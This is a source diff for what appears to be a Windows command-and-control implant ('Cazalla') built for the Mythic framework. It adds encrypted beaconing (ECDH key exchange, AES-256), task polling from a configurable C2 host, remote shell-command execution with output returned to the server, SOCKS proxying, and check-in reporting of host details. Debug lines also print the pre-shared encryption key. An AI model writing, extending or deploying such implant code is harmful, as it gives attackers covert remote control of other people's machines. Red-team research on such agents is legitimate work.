// There will be Nr rounds.
|
||||
// The first Nr-1 rounds are identical.
|
||||
// These Nr rounds are executed in the loop below.
|
||||
// Last one without InvMixColumn()
|
||||
for (round = (Nr - 1); ; --round)
|
||||
{
|
||||
InvShiftRows(state);
|
||||
InvSubBytes(state);
|
||||
AddRoundKey(round, state, RoundKey);
|
||||
if (round == 0) {
|
||||
break;
|
||||
}
|
||||
InvMixColumns(state);
|
||||
}
|
||||
|
||||
}
|
||||
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Public functions: */
|
||||
/*****************************************************************************/
|
||||
#if defined(ECB) && (ECB == 1)
|
||||
|
||||
|
||||
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
|
||||
{
|
||||
// The next function call encrypts the PlainText with the Key using AES algorithm.
|
||||
Cipher((state_t*)buf, ctx->RoundKey);
|
||||
}
|
||||
|
||||
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
|
||||
{
|
||||
// The next function call decrypts the PlainText with the Key using AES algorithm.
|
||||
InvCipher((state_t*)buf, ctx->RoundKey);
|
||||
}
|
||||
|
||||
|
||||
#endif // #if defined(ECB) && (ECB == 1)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
|
||||
{
|
||||
uint8_t i;
|
||||
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
|
||||
{
|
||||
buf[i] ^= Iv[i];
|
||||
}
|
||||
}
|
||||
|
||||
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
|
||||
{
|
||||
size_t i;
|
||||
uint8_t *Iv = ctx->Iv;
|
||||
for (i = 0; i < length; i += AES_BLOCKLEN)
|
||||
{
|
||||
XorWithIv(buf, Iv);
|
||||
Cipher((state_t*)buf, ctx->RoundKey);
|
||||
Iv = buf;
|
||||
buf += AES_BLOCKLEN;
|
||||
}
|
||||
/* store Iv in ctx for next call */
|
||||
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
|
||||
}
|
||||
|
||||
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
{
|
||||
size_t i;
|
||||
uint8_t storeNextIv[AES_BLOCKLEN];
|
||||
for (i = 0; i < length; i += AES_BLOCKLEN)
|
||||
{
|
||||
memcpy(storeNextIv, buf, AES_BLOCKLEN);
|
||||
InvCipher((state_t*)buf, ctx->RoundKey);
|
||||
XorWithIv(buf, ctx->Iv);
|
||||
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
|
||||
buf += AES_BLOCKLEN;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
#endif // #if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
|
||||
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
{
|
||||
uint8_t buffer[AES_BLOCKLEN];
|
||||
|
||||
size_t i;
|
||||
int bi;
|
||||
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
|
||||
{
|
||||
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
|
||||
{
|
||||
|
||||
memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
|
||||
Cipher((state_t*)buffer,ctx->RoundKey);
|
||||
|
||||
/* Increment Iv and handle overflow */
|
||||
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
|
||||
{
|
||||
/* inc will overflow */
|
||||
if (ctx->Iv[bi] == 255)
|
||||
{
|
||||
ctx->Iv[bi] = 0;
|
||||
continue;
|
||||
}
|
||||
ctx->Iv[bi] += 1;
|
||||
break;
|
||||
}
|
||||
bi = 0;
|
||||
}
|
||||
|
||||
buf[i] = (buf[i] ^ buffer[bi]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
#ifndef _AES_H_
|
||||
#define _AES_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// #define the macros below to 1/0 to enable/disable the mode of operation.
|
||||
//
|
||||
// CBC enables AES encryption in CBC-mode of operation.
|
||||
// CTR enables encryption in counter-mode.
|
||||
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
|
||||
|
||||
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
|
||||
#ifndef CBC
|
||||
#define CBC 1
|
||||
#endif
|
||||
|
||||
#ifndef ECB
|
||||
#define ECB 1
|
||||
#endif
|
||||
|
||||
#ifndef CTR
|
||||
#define CTR 1
|
||||
#endif
|
||||
|
||||
|
||||
//#define AES128 1
|
||||
//#define AES192 1
|
||||
#define AES256 1
|
||||
|
||||
#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only
|
||||
|
||||
#if defined(AES256) && (AES256 == 1)
|
||||
#define AES_KEYLEN 32
|
||||
#define AES_keyExpSize 240
|
||||
#elif defined(AES192) && (AES192 == 1)
|
||||
#define AES_KEYLEN 24
|
||||
#define AES_keyExpSize 208
|
||||
#else
|
||||
#define AES_KEYLEN 16 // Key length in bytes
|
||||
#define AES_keyExpSize 176
|
||||
#endif
|
||||
|
||||
struct AES_ctx
|
||||
{
|
||||
uint8_t RoundKey[AES_keyExpSize];
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
uint8_t Iv[AES_BLOCKLEN];
|
||||
#endif
|
||||
};
|
||||
|
||||
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
|
||||
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
|
||||
#endif
|
||||
|
||||
#if defined(ECB) && (ECB == 1)
|
||||
// buffer size is exactly AES_BLOCKLEN bytes;
|
||||
// you need only AES_init_ctx as IV is not used in ECB
|
||||
// NB: ECB is considered insecure for most uses
|
||||
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
|
||||
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);
|
||||
|
||||
#endif // #if defined(ECB) && (ECB == !)
|
||||
|
||||
|
||||
#if defined(CBC) && (CBC == 1)
|
||||
// buffer size MUST be mutile of AES_BLOCKLEN;
|
||||
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
|
||||
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
|
||||
// no IV should ever be reused with the same key
|
||||
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
|
||||
#endif // #if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
|
||||
// Same function for encrypting as for decrypting.
|
||||
// IV is incremented for every block, and used after encryption as XOR-compliment for output
|
||||
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
|
||||
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
|
||||
// no IV should ever be reused with the same key
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
|
||||
|
||||
#endif // _AES_H_
|
||||
@@ -1,4 +1,6 @@
|
||||
#pragma once
|
||||
#define ENCRYPTION_ENABLED %ENCRYPTION_ENABLED%
|
||||
#define AESPSK_KEY "%AESPSK_KEY%"
|
||||
#define initUUID "%UUID%"
|
||||
#define hostname L"%HOSTNAME%"
|
||||
#define endpoint L"%ENDPOINT%"
|
||||
|
||||
@@ -3,9 +3,8 @@ CC = x86_64-w64-mingw32-gcc
|
||||
|
||||
# Base flags
|
||||
CFLAGS = -Wall -w -IInclude
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
||||
# Console flags (no -mwindows) for debug console output
|
||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows
|
||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt
|
||||
DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g
|
||||
|
||||
# Directories
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration
|
||||
#include "cazalla.h"
|
||||
#include "Config.h"
|
||||
#include "socks_manager.h"
|
||||
@@ -31,7 +32,28 @@ VOID cazallaMain() {
|
||||
cazallaConfig->proxyHabilitado= proxyenabled;
|
||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||
cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
|
||||
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
|
||||
|
||||
// Debug: print the raw values
|
||||
printf("[CAZALLA] DEBUG: ENCRYPTION_ENABLED = %d\n", ENCRYPTION_ENABLED);
|
||||
printf("[CAZALLA] DEBUG: AESPSK_KEY = %s\n", AESPSK_KEY);
|
||||
printf("[CAZALLA] DEBUG: AESPSK_KEY length = %zu\n", strlen(AESPSK_KEY));
|
||||
fflush(stdout);
|
||||
|
||||
// Initialize AESPSK encryption if enabled
|
||||
if (cazallaConfig->encryptionEnabled) {
|
||||
printf("[CAZALLA] Inicializando cifrado AES256-HMAC...\n");
|
||||
fflush(stdout);
|
||||
if (crypto_init_aespsk(AESPSK_KEY)) {
|
||||
printf("[CAZALLA] Cifrado habilitado\n");
|
||||
} else {
|
||||
printf("[CAZALLA] ERROR: Falló la inicialización del cifrado\n");
|
||||
cazallaConfig->encryptionEnabled = FALSE;
|
||||
}
|
||||
} else {
|
||||
printf("[CAZALLA] Cifrado deshabilitado\n");
|
||||
}
|
||||
fflush(stdout);
|
||||
printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n",
|
||||
cazallaConfig->idAgente,
|
||||
cazallaConfig->hostName,
|
||||
|
||||
@@ -24,6 +24,7 @@ typedef struct {
|
||||
PWCHAR urlProxy;
|
||||
|
||||
UINT32 tiempoSleep;
|
||||
BOOL encryptionEnabled;
|
||||
} CONFIG_CAZALLA, *PCONFIG_CAZALLA;
|
||||
|
||||
extern PCONFIG_CAZALLA cazallaConfig;
|
||||
|
||||
@@ -8,47 +8,26 @@ BOOL cerrarCallback(PAnalizador argumentos){
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
// Crear paquete de respuesta siguiendo el mismo patrón que otros comandos
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
// Liberar el analizador antes de salir
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
|
||||
// Si falla la creación del paquete, cerramos con error
|
||||
if (!respuesta) {
|
||||
ExitProcess(1);
|
||||
return FALSE;
|
||||
// Optionally send a message (can be NULL for no message like Xenon)
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
if (salida) {
|
||||
addString(salida, "Exiting...", FALSE);
|
||||
}
|
||||
|
||||
// Agregar el UUID de la tarea
|
||||
addString(respuesta, tareaUuid, FALSE);
|
||||
// Send task complete response (similar to Xenon's implementation)
|
||||
paqueteCompletado(tareaUuid, salida);
|
||||
|
||||
// Crear paquete temporal para el mensaje de salida
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
addString(salida, "Agent exiting...\n", FALSE);
|
||||
// Cleanup
|
||||
if (salida) liberarPaquete(salida);
|
||||
|
||||
// Agregar el mensaje al paquete de respuesta
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
// Give a brief moment for the response to be sent before process termination
|
||||
// This is important to ensure the response reaches Mythic
|
||||
Sleep(250);
|
||||
|
||||
// Enviar el paquete
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
|
||||
// Liberar memoria
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
// Dar tiempo suficiente para que Mythic procese la respuesta
|
||||
// Hacemos un pequeño delay y luego forzamos un flush final
|
||||
Sleep(1000);
|
||||
|
||||
// Enviar un GET_TASKING vacío para forzar que Mythic procese todo
|
||||
PPaquete flushPkt = nuevoPaquete(GET_TASKING, TRUE);
|
||||
Analizador* flushResp = mandarPaquete(flushPkt);
|
||||
liberarPaquete(flushPkt);
|
||||
if (flushResp) liberarAnalizador(flushResp);
|
||||
|
||||
// Esperar un poco más antes de cerrar definitivamente
|
||||
Sleep(1000);
|
||||
|
||||
// Terminar el proceso
|
||||
// Exit the process
|
||||
ExitProcess(0);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -152,7 +152,10 @@ PAnalizador checkin() {
|
||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||
|
||||
printf("[CHECKIN] Enviando paquete inicial\n");
|
||||
// === When mythic_encrypts=True, agent sends plaintext ===
|
||||
// The C2 profile (HTTP) handles encryption at HTTP layer
|
||||
// No need for ECC key exchange in checkin
|
||||
printf("[CHECKIN] Enviando paquete inicial (plaintext, C2 profile handles encryption)\n");
|
||||
fflush(stdout);
|
||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||
liberarPaquete(checkin);
|
||||
|
||||
@@ -15,15 +15,27 @@ static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||
|
||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
|
||||
printf("[HANDLER] handleGetTasking() llamado\n");
|
||||
fflush(stdout);
|
||||
|
||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||
printf("[HANDLER] Número de tareas: %u\n", numeroTareas);
|
||||
fflush(stdout);
|
||||
|
||||
if (numeroTareas) {
|
||||
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
||||
DBG_PRINTF("[Tareas] hay %d tareas !\n", numeroTareas);
|
||||
}
|
||||
|
||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||
printf("[HANDLER] Procesando tarea %u/%u, tamaño: %zu\n", i+1, numeroTareas, tamanoTarea);
|
||||
fflush(stdout);
|
||||
|
||||
BYTE tarea = getByte(obtenerTarea);
|
||||
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
||||
printf("[HANDLER] Comando recibido: 0x%02X (%d)\n", tarea, tarea);
|
||||
fflush(stdout);
|
||||
|
||||
DBG_PRINTF("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
||||
|
||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||
@@ -55,7 +67,7 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
DBG_PRINTF("Received STOP_SOCKS_CMD");
|
||||
stopSocksHandler(analizadorTarea);
|
||||
} else {
|
||||
_dbg("[Tarea] Tarea desconocida: 0x%02x\n", tarea);
|
||||
DBG_PRINTF("[Tarea] Tarea desconocida: 0x%02x\n", tarea);
|
||||
// liberar analizador si no será usado por otro handler
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
@@ -66,29 +78,111 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
|
||||
BOOL commandDispatch(PAnalizador respuesta) {
|
||||
|
||||
printf("[DISPATCH] Respuesta tiene %zu bytes\n", respuesta->tamano);
|
||||
fflush(stdout);
|
||||
|
||||
// Debug: imprimir primeros bytes
|
||||
if (respuesta->tamano > 0) {
|
||||
printf("[DISPATCH] Primeros 8 bytes: ");
|
||||
fflush(stdout);
|
||||
for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
|
||||
printf("0x%02X ", respuesta->original[i]);
|
||||
fflush(stdout);
|
||||
}
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
|
||||
// Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
|
||||
// Necesitamos leer y verificar el UUID primero
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR callback_uuid = getString(respuesta, &uuidLen);
|
||||
printf("[DISPATCH] UUID del callback: %.*s\n", (int)uuidLen, callback_uuid);
|
||||
fflush(stdout);
|
||||
|
||||
// Verificar que el UUID sea correcto (opcional, para debug)
|
||||
if (uuidLen != 36) {
|
||||
printf("[DISPATCH] WARNING: UUID length is not 36 bytes (%zu)\n", uuidLen);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
BYTE tipoRespuesta = getByte(respuesta);
|
||||
printf("[DISPATCH] Tipo de respuesta: 0x%02X\n", tipoRespuesta);
|
||||
fflush(stdout);
|
||||
|
||||
if (tipoRespuesta == GET_TASKING) {
|
||||
printf("[DISPATCH] Llamando handleGetTasking()\n");
|
||||
fflush(stdout);
|
||||
return handleGetTasking(respuesta);
|
||||
}
|
||||
else if (tipoRespuesta == POST_RESPONSE) {
|
||||
printf("[DISPATCH] Respuesta POST_RESPONSE\n");
|
||||
fflush(stdout);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
printf("[DISPATCH] Tipo desconocido\n");
|
||||
fflush(stdout);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||
|
||||
if (getByte(respuestaAnalizador) != CHECKIN) {
|
||||
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
|
||||
// Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
|
||||
// Primero leemos el UUID que Mythic agrega
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||
printf("[CHECKIN] UUID del callback recibido: %.*s\n", (int)tamanoUuid, callback_uuid);
|
||||
fflush(stdout);
|
||||
|
||||
// Luego leemos el tipo de mensaje
|
||||
BYTE tipoMensaje = getByte(respuestaAnalizador);
|
||||
if (tipoMensaje != CHECKIN) {
|
||||
printf("[CHECKIN] ERROR: Expected CHECKIN (0x%02X) but got 0x%02X\n", CHECKIN, tipoMensaje);
|
||||
fflush(stdout);
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
// Leer el nuevo UUID del agente
|
||||
tamanoUuid = 36;
|
||||
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||
setUUID(nuevoUuid);
|
||||
|
||||
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
||||
DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
||||
|
||||
// === Leer clave pública del servidor y derivar AES si cifrado está habilitado ===
|
||||
if (cazallaConfig->encryptionEnabled) {
|
||||
SIZE_T tamanoClave = 0;
|
||||
PCHAR pub_server = getString(respuestaAnalizador, &tamanoClave);
|
||||
|
||||
if (pub_server && tamanoClave > 0) {
|
||||
printf("[CHECKIN] Recibida clave pública del servidor (%zu bytes)...\n", tamanoClave);
|
||||
fflush(stdout);
|
||||
|
||||
if (!crypto_import_peer_pub_b64_and_derive_aes(pub_server)) {
|
||||
printf("[CHECKIN] ERROR: fallo al derivar AES desde clave pública del servidor\n");
|
||||
fflush(stdout);
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[CHECKIN] AES derivada correctamente\n");
|
||||
fflush(stdout);
|
||||
|
||||
} else {
|
||||
printf("[CHECKIN] ERROR: no se recibió clave pública del servidor (tam=%zu)\n", tamanoClave);
|
||||
fflush(stdout);
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
return FALSE;
|
||||
}
|
||||
} else {
|
||||
printf("[CHECKIN] Cifrado deshabilitado: no se procesa clave pública\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
@@ -97,20 +191,29 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||
|
||||
BOOL rutina() {
|
||||
|
||||
printf("[RUTINA] Enviando GET_TASKING...\n");
|
||||
fflush(stdout);
|
||||
|
||||
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||
|
||||
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||
// sin respuesta
|
||||
if (!respuestaAnalizador) {
|
||||
|
||||
printf("[RUTINA] ERROR: No se recibió respuesta\n");
|
||||
fflush(stdout);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[RUTINA] Respuesta recibida, dispatch...\n");
|
||||
fflush(stdout);
|
||||
|
||||
commandDispatch(respuestaAnalizador);
|
||||
|
||||
// Sleep
|
||||
Sleep(cazallaConfig->tiempoSleep);
|
||||
liberarPaquete(obtenerTarea);
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
// Sleep - YA NO se duerme aquí, se duerme en el bucle principal
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
@@ -34,5 +34,9 @@ BOOL ejecutarConsola(PAnalizador argumentos) {
|
||||
_pclose(fp);
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,558 @@
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
|
||||
// =======================================================
|
||||
// COMPAT FIX for MinGW: ensure bcrypt + NTSTATUS constants
|
||||
// =======================================================
|
||||
#ifndef NTDDI_VERSION
|
||||
#define NTDDI_VERSION NTDDI_WIN10
|
||||
#endif
|
||||
|
||||
#ifndef _WIN32_WINNT
|
||||
#define _WIN32_WINNT 0x0A00 // Windows 10
|
||||
#endif
|
||||
|
||||
#include <ntstatus.h>
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#include "crypto.h"
|
||||
#include "utils.h"
|
||||
#include "hmac_sha256.h"
|
||||
#include "Aes.h"
|
||||
#include <bcrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
// Include struct definitions AFTER crypto.h to avoid circular dependency
|
||||
// crypto.h has forward declarations, but crypto.c needs the actual structures
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
|
||||
// =======================================================
|
||||
// Define missing bcrypt constants if MinGW headers lack them
|
||||
// =======================================================
|
||||
#ifndef BCRYPT_ECDH_ALGORITHM
|
||||
#define BCRYPT_ECDH_ALGORITHM L"ECDH"
|
||||
#endif
|
||||
|
||||
#ifndef BCRYPT_ECDH_P256_ALGORITHM
|
||||
#define BCRYPT_ECDH_P256_ALGORITHM L"ECDH_P256"
|
||||
#endif
|
||||
|
||||
#ifndef BCRYPT_ECDH_P384_ALGORITHM
|
||||
#define BCRYPT_ECDH_P384_ALGORITHM L"ECDH_P384"
|
||||
#endif
|
||||
|
||||
#ifndef BCRYPT_ECDH_P521_ALGORITHM
|
||||
#define BCRYPT_ECDH_P521_ALGORITHM L"ECDH_P521"
|
||||
#endif
|
||||
|
||||
#ifndef MS_PRIMITIVE_PROVIDER
|
||||
#define MS_PRIMITIVE_PROVIDER L"Microsoft Primitive Provider"
|
||||
#endif
|
||||
|
||||
// Constants
|
||||
#define IVSIZE 16
|
||||
#define SHA256_HASH_SIZE 32
|
||||
|
||||
// Globals (simple single-agent context)
|
||||
static BCRYPT_KEY_HANDLE g_currentKey = NULL;
|
||||
static BCRYPT_ALG_HANDLE g_algECDH = NULL;
|
||||
static unsigned char g_aesKey[AES_KEY_SIZE];
|
||||
static int g_aesKeySet = 0;
|
||||
static int g_encryptionEnabled = 0; // Track if encryption is enabled
|
||||
static unsigned char g_pubRaw[512];
|
||||
static DWORD g_pubRawLen = 0;
|
||||
|
||||
// Helpers
|
||||
static void secure_zero(void *p, SIZE_T n) {
|
||||
if (p && n) { SecureZeroMemory(p, n); }
|
||||
}
|
||||
|
||||
void crypto_cleanup(void) {
|
||||
secure_zero(g_aesKey, sizeof(g_aesKey));
|
||||
g_aesKeySet = 0;
|
||||
if (g_currentKey) {
|
||||
BCryptDestroyKey(g_currentKey);
|
||||
g_currentKey = NULL;
|
||||
}
|
||||
if (g_algECDH) {
|
||||
BCryptCloseAlgorithmProvider(g_algECDH, 0);
|
||||
g_algECDH = NULL;
|
||||
}
|
||||
secure_zero(g_pubRaw, sizeof(g_pubRaw));
|
||||
g_pubRawLen = 0;
|
||||
}
|
||||
|
||||
// Generate ECDH P-256 key pair and export public raw (X||Y in ANSI X9.62 uncompressed form).
|
||||
BOOL crypto_init_generate_pub_b64(char **pub_b64_out) {
|
||||
NTSTATUS status;
|
||||
DWORD keySize = 0;
|
||||
DWORD resultLen = 0;
|
||||
|
||||
crypto_cleanup();
|
||||
|
||||
// Open ECDH algorithm provider (nistP256)
|
||||
status = BCryptOpenAlgorithmProvider(&g_algECDH, BCRYPT_ECDH_P256_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) return FALSE;
|
||||
|
||||
// Generate ephemeral key pair
|
||||
status = BCryptGenerateKeyPair(g_algECDH, &g_currentKey, 256, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; }
|
||||
|
||||
status = BCryptFinalizeKeyPair(g_currentKey, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; }
|
||||
|
||||
// Export public key in BCRYPT_ECCPUBLIC_BLOB format to know size
|
||||
status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, NULL, 0, &resultLen, 0);
|
||||
if (!BCRYPT_SUCCESS(status) && status != STATUS_BUFFER_TOO_SMALL) { crypto_cleanup(); return FALSE; }
|
||||
|
||||
PBYTE pubBlob = (PBYTE)LocalAlloc(LPTR, resultLen);
|
||||
if (!pubBlob) { crypto_cleanup(); return FALSE; }
|
||||
|
||||
status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, pubBlob, resultLen, &resultLen, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) { LocalFree(pubBlob); crypto_cleanup(); return FALSE; }
|
||||
|
||||
// BCRYPT_ECCPUBLIC_BLOB layout: ULONG dwMagic; ULONG cbKey; then X then Y
|
||||
// For P-256, cbKey == 32
|
||||
DWORD *magic = (DWORD*)pubBlob;
|
||||
DWORD *cbKey = (DWORD*)(pubBlob + sizeof(DWORD));
|
||||
PBYTE x = pubBlob + sizeof(DWORD)*2;
|
||||
PBYTE y = x + (*cbKey);
|
||||
|
||||
// Produce uncompressed raw public point = 0x04 || X || Y
|
||||
g_pubRawLen = 1 + (*cbKey) * 2;
|
||||
g_pubRaw[0] = 0x04;
|
||||
memcpy(g_pubRaw + 1, x, *cbKey);
|
||||
memcpy(g_pubRaw + 1 + (*cbKey), y, *cbKey);
|
||||
|
||||
// Base64 encode
|
||||
char *b64 = NULL;
|
||||
if (!base64_encode(g_pubRaw, g_pubRawLen, &b64)) {
|
||||
LocalFree(pubBlob);
|
||||
crypto_cleanup();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*pub_b64_out = b64; // caller must LocalFree when done
|
||||
|
||||
LocalFree(pubBlob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Return public raw (LocalAlloc copy)
|
||||
unsigned char *crypto_get_public_raw(DWORD *out_len) {
|
||||
if (!g_pubRawLen) { *out_len = 0; return NULL; }
|
||||
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, g_pubRawLen);
|
||||
if (!buf) { *out_len = 0; return NULL; }
|
||||
memcpy(buf, g_pubRaw, g_pubRawLen);
|
||||
*out_len = g_pubRawLen;
|
||||
return buf;
|
||||
}
|
||||
|
||||
// Import peer public key (base64 of uncompressed point 0x04||X||Y), derive shared secret and set AES key = SHA256(shared)
|
||||
BOOL crypto_import_peer_pub_b64_and_derive_aes(const char *peer_pub_b64) {
|
||||
if (!peer_pub_b64) return FALSE;
|
||||
unsigned char *raw = NULL;
|
||||
size_t rawlen = 0;
|
||||
